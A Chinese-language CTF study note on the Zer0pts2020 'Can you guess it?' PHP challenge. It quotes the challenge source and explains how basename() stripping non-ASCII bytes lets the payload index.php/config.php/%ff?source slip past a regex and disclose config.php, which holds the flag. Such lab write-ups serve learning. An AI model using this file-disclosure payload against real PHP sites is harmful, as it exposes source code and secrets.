刷题笔记:[Zer0pts2020]Can you guess it?


前言

关键词:[guess|basename|正则]

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}

这题难,我整不来。

翻翻wp,才知道随机数那是个陷阱。

题解

basename()函数漏洞

漏洞1

basename(/index.php/config.php) =>返回config.php,但访问的还是index.php

如果没有正则,就可以/index.php/config.php?source来读取flag:访问的index.php,显示的确实config.php内容。

所以接下来要考虑绕过正则。

漏洞2

basename()去掉文件名开头的非ASCII值:https://bugs.php.net/bug.php?id=62119

var_dump(basename("xffconfig.php")); // => config.php
var_dump(basename("config.php/xff")); // => config.php

于是构造payload:

index.php/config.php/%ff?source

这样的话,理下逻辑:

$_SERVER['PHP_SELF']=index.php/config.php/�,绕过了正则。

basename函数返回值=config.php,访问的还是index.php,读的是config.php。

结束。


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录